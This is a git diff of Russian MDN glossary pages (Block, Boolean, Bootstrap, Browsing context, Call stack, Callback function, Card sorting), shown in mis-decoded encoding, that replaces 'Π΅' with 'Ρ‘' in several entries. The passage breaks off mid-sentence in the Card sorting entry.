+<p>ΠŸΠΎΡ‚ΠΎΠΌΠΊΠΈ символов Ρ‚ΠΈΠΏΠ° g ΠΈ p ΠΏΡ€ΠΎΡΡ‚ΠΈΡ€Π°ΡŽΡ‚ΡΡ Π½ΠΈΠΆΠ΅ этой строки. {{Glossary("glyph", "Π“Π»ΠΈΡ„Ρ‹")}} с Π·Π°ΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π½ΠΈΠΆΠ½ΠΈΠΌΠΈ ΠΈ Π²Π΅Ρ€Ρ…Π½ΠΈΠΌΠΈ окончаниями Ρ‚ΠΈΠΏΠ° C ΠΈΠ»ΠΈ 3 слСгка ΠΏΡ€ΠΎΡΡ‚ΠΈΡ€Π°ΡŽΡ‚ΡΡ ΠΏΠΎΠ΄ Π½ΠΈΠΌ.</p>
<p>Восточно-азиатскиС ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ исходной Π»ΠΈΠ½ΠΈΠΈ. Π˜Ρ… Π³Π»ΠΈΡ„Ρ‹ ΠΏΠΎΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½ΡƒΡŽ ΠΊΠΎΡ€ΠΎΠ±ΠΊΡƒ Π±Π΅Π· восходов ΠΈ исходов.</p>
diff --git a/files/ru/glossary/block/scripting/index.html b/files/ru/glossary/block/scripting/index.html
index 0a75dfa2e1..317d607cfd 100644
--- a/files/ru/glossary/block/scripting/index.html
+++ b/files/ru/glossary/block/scripting/index.html
@@ -8,7 +8,7 @@ tags:
translation_of: Glossary/Block/Scripting
original_slug: Glossary/Block/Π‘ΠΊΡ€ΠΈΠΏΡ‚ΠΈΠ½Π³
---
-<p>Π’ {{glossary("JavaScript")}} Π±Π»ΠΎΠΊ это Π½Π°Π±ΠΎΡ€ связанных {{glossary("statement","statements")}} Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… Π² скобки ("{}"). НапримСр, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π±Π»ΠΎΠΊ инструкций послС Π±Π»ΠΎΠΊΠ° {{jsxref("Statements/if...else","if (condition)")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ выполнял ΠΊΠΎΠ΄ Π² Π±Π»ΠΎΠΊΠ΅, Ссли условиС ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ true, ΠΈΠ»ΠΈ пропускал Ρ†Π΅Π»Ρ‹ΠΉ Π±Π»ΠΎΠΊ, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ условия false.</p>
+<p>Π’ {{glossary("JavaScript")}} Π±Π»ΠΎΠΊ это Π½Π°Π±ΠΎΡ€ связанных {{glossary("statement","statements")}} Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… Π² скобки ("{}"). НапримСр, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π±Π»ΠΎΠΊ инструкций послС Π±Π»ΠΎΠΊΠ° {{jsxref("Statements/if...else","if (condition)")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ выполнял ΠΊΠΎΠ΄ Π² Π±Π»ΠΎΠΊΠ΅, Ссли условиС ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ true, ΠΈΠ»ΠΈ пропускал Ρ†Π΅Π»Ρ‹ΠΉ Π±Π»ΠΎΠΊ, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ условия false.</p>
<h2 id="Узнай_большС">Узнай большС</h2>
diff --git a/files/ru/glossary/boolean/index.html b/files/ru/glossary/boolean/index.html
index 239f003788..312080e28c 100644
--- a/files/ru/glossary/boolean/index.html
+++ b/files/ru/glossary/boolean/index.html
@@ -13,7 +13,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Boolean
---
<p><strong>Boolean (Π‘ΡƒΠ»Π΅Π², ЛогичСский Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ…)</strong> β€” ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΠΊΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π΄Π²Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… значСния, ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… истиной (<code>true</code>) ΠΈ лоТью (<code>false</code>). НапримСр, Π² JavaScript Π‘ΡƒΠ»Π΅Π²Ρ‹ состояния часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅ части ΠΊΠΎΠ΄Π° Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² <a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else">ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Ρ… if</a>) ΠΈΠ»ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="/ru/docs/Web/JavaScript/Reference/Statements/for">Ρ†ΠΈΠΊΠ»Ρ‹ for</a>).</p>
-<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ псСвдокод JavaScript (это Π½Π΅ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ исполняСмый ΠΊΠΎΠ΄), Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ эту ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ.</p>
+<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ псСвдокод JavaScript (это Π½Π΅ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ исполняСмый ΠΊΠΎΠ΄), Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ эту ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ.</p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ использования ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code>if</code>:</p>
diff --git a/files/ru/glossary/bootstrap/index.html b/files/ru/glossary/bootstrap/index.html
index 7b85ce61f6..af4bc7fb53 100644
--- a/files/ru/glossary/bootstrap/index.html
+++ b/files/ru/glossary/bootstrap/index.html
@@ -12,7 +12,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Bootstrap
---
<p><span class="tlid-translation translation" lang="ru"><span title="">Bootstrap - это бСсплатный Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ </span></span> {{Glossary("HTML")}} <span class="tlid-translation translation" lang="ru"><span title="">, </span></span> {{Glossary("CSS")}} <span class="tlid-translation translation" lang="ru"><span title=""> ΠΈ </span></span> {{Glossary("JavaScript")}} <span class="tlid-translation translation" lang="ru"><span title=""> с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ для быстрого создания Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹Ρ… Π²Π΅Π±-сайтов.</span></span></p>
-<p>Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Bootstrap назывался Twitter Blueprint ΠΈ Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅ΠΉ Π² <a href="https://twitter.com/">Twitter</a>. Он ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ Π΄ΠΈΠ·Π°ΠΉΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ· ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ ΠΈΠ»ΠΈ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ для своих Π½ΡƒΠΆΠ΄ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠ΄Π°. Π’Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ ΠΎ совмСстимости с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Bootstrap совмСстим со всСми соврСмСнными Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΈ Π½ΠΎΠ²Ρ‹ΠΌΠΈ вСрсиями {{glossary("Microsoft Internet Explorer", "Internet Explorer")}} .</p>
+<p>Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Bootstrap назывался Twitter Blueprint ΠΈ Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅ΠΉ Π² <a href="https://twitter.com/">Twitter</a>. Он ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ Π΄ΠΈΠ·Π°ΠΉΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ· ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ ΠΈΠ»ΠΈ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ для своих Π½ΡƒΠΆΠ΄ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠ΄Π°. Π’Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ ΠΎ совмСстимости с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Bootstrap совмСстим со всСми соврСмСнными Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΈ Π½ΠΎΠ²Ρ‹ΠΌΠΈ вСрсиями {{glossary("Microsoft Internet Explorer", "Internet Explorer")}} .</p>
<section class="Quick_links" id="Quick_Links">
<ol>
diff --git a/files/ru/glossary/browsing_context/index.html b/files/ru/glossary/browsing_context/index.html
index 286d8f9a58..91f78c3427 100644
--- a/files/ru/glossary/browsing_context/index.html
+++ b/files/ru/glossary/browsing_context/index.html
@@ -6,7 +6,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Browsing_context
---
<p id="Summary"><strong>Browsing context</strong>(контСкст просмотра) - это ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ {{glossary("browser")}} ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ {{domxref("Document")}} (Π½Π° сСгодняшний дСнь ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ это Π²ΠΊΠ»Π°Π΄ΠΊΠΈ, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠΊΠ½ΠΎ ΠΈΠ»ΠΈ frame Π²Π½ΡƒΡ‚Ρ€ΠΈ страницы).</p>
-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ контСкст просмотра ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ {{glossary("origin")}} (источник), источник Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ, которая содСрТит всС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ порядкС.</p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ контСкст просмотра ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ {{glossary("origin")}} (источник), источник Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ, которая содСрТит всС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½Π½Ρ‹Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ порядкС.</p>
<p>ВзаимодСйствиС ΠΌΠ΅ΠΆΠ΄Ρƒ контСкстами просмотра ΠΎΡ‡Π΅Π½ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΎ. ΠœΠ΅ΠΆΠ΄Ρƒ контСкстами просмотра ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ источника ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ ΠΈ использован {{domxref("BroadcastChannel")}}.</p>
diff --git a/files/ru/glossary/call_stack/index.html b/files/ru/glossary/call_stack/index.html
index ff72d782ef..67dc60ffa0 100644
--- a/files/ru/glossary/call_stack/index.html
+++ b/files/ru/glossary/call_stack/index.html
@@ -9,9 +9,9 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Call_stack
<p><strong>Π‘Ρ‚Π΅ΠΊ Π²Ρ‹Π·ΠΎΠ²ΠΎΠ²(call stack)Β </strong>- это ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ΠΎΠ² (Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ JavaScript Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅) для отслСТивания Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ мСстонахоТдСния ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€Π° Π² скриптС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Β Β Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Ρ‚ΠΈΠΏΠ°Β {{glossary("function","functions")}}, β€” какая ΠΈΠ· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ выполняСтся Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠ°ΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΈΠ·Π½ΡƒΡ‚Ρ€ΠΈ этой (выполняСмой) Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, какая будСт вызвана ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΈ Ρ‚. Π΄.</p>
<ul>
- <li>Когда скрипт Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ добавляСт Π΅Π΅ Π² стСк Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² ΠΈ ΠΏΠΎΡ‚ΠΎΠΌ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Π΅Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ.</li>
+ <li>Когда скрипт Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ добавляСт Π΅Ρ‘ Π² стСк Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² ΠΈ ΠΏΠΎΡ‚ΠΎΠΌ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Π΅Ρ‘ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ.</li>
<li>Π›ΡŽΠ±Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π²Ρ‹Π·Π²Π°Π½Π½Ρ‹Π΅ этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ΡΡ Π²Β  стСк Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ происходит ΠΈΡ… Π²Ρ‹Π·ΠΎΠ².Β </li>
- <li>Когда Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ основной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΎ, ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ снимаСт Π΅Π΅ со стСка Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² ΠΈ возобновляСт Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π² спискС основного ΠΊΠΎΠ΄Π° с Ρ‚ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π³Π΄Π΅ остановился Π΄ΠΎ этого.</li>
+ <li>Когда Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ основной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΎ, ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ снимаСт Π΅Ρ‘ со стСка Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² ΠΈ возобновляСт Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π² спискС основного ΠΊΠΎΠ΄Π° с Ρ‚ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π³Π΄Π΅ остановился Π΄ΠΎ этого.</li>
<li>Если стСк Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ большС мСста, Ρ‡Π΅ΠΌ Π΅ΠΌΡƒ Π±Ρ‹Π»ΠΎ присвоСно, это ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ошибкС пСрСполнСния стСка ("stack overflow" error).</li>
</ul>
diff --git a/files/ru/glossary/callback_function/index.html b/files/ru/glossary/callback_function/index.html
index 891f3ea8e1..c55e0e6eef 100644
--- a/files/ru/glossary/callback_function/index.html
+++ b/files/ru/glossary/callback_function/index.html
@@ -22,7 +22,7 @@ function processUserInput(callback) {
processUserInput(greeting);</pre>
-<p>Π’Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <a href="/en-US/docs/Glossary/Synchronous">синхронного</a> колбэка, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ функция <code>processUserInput</code> выполняСтся синхронно.</p>
+<p>Π’Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <a href="/en-US/docs/Glossary/Synchronous">синхронного</a> колбэка, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ функция <code>processUserInput</code> выполняСтся синхронно.</p>
<p>ΠšΠΎΠ»Π±ΡΠΊΠΈΒ Ρ‡Π°ΡΡ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для продолТСния выполнСния ΠΊΠΎΠ΄Π° послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡΒ <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Asynchronous">асинхронной</a> ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ - ΠΎΠ½ΠΈ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ асинхронными колбэками.</p>
@@ -40,7 +40,7 @@ function onPageLoadingFinished(pageData) {
pageLoader(onPageLoadingFinished)
</pre>
-<p>Π’ΠΎΡ‚ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ асинхронного ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎΒ Π²Ρ‹Π·ΠΎΠ²Π°:Β <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/maps-example.html">maps-example.html</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>). Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Google Maps API ΠΈ Geolocation API для отобраТСния ΠΊΠ°Ρ€Ρ‚Ρ‹ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ мСстополоТСния вашСго устройства.</p>
+<p>Π’ΠΎΡ‚ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ асинхронного ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎΒ Π²Ρ‹Π·ΠΎΠ²Π°:Β <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/maps-example.html">maps-example.html</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>). Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Google Maps API ΠΈ Geolocation API для отобраТСния ΠΊΠ°Ρ€Ρ‚Ρ‹ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ мСстополоТСния вашСго устройства.</p>
<pre class="brush: js">// maps-example.html
// Π’Ρ‹Π·ΠΎΠ² асинхронной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ getCurrentPosition
diff --git a/files/ru/glossary/card_sorting/index.html b/files/ru/glossary/card_sorting/index.html
index e240f8878b..d8f577bc90 100644
--- a/files/ru/glossary/card_sorting/index.html
+++ b/files/ru/glossary/card_sorting/index.html
@@ -7,7 +7,7 @@ tags:
translation_of: Glossary/Card_sorting
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Card_sorting
---
-<p>Π‘ΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²ΠΊΠ° ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡Π΅ΠΊ - это простая Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ Π² ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π΅, когда людям, ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π²Π΅Π±-сайта (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π°), прСдлагаСтся Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ / услуги / Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, ΠΏΠΎ ΠΈΡ… мнСнию, Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ ΠΈΠ»ΠΈ Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²ΠΊΠΈ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано, 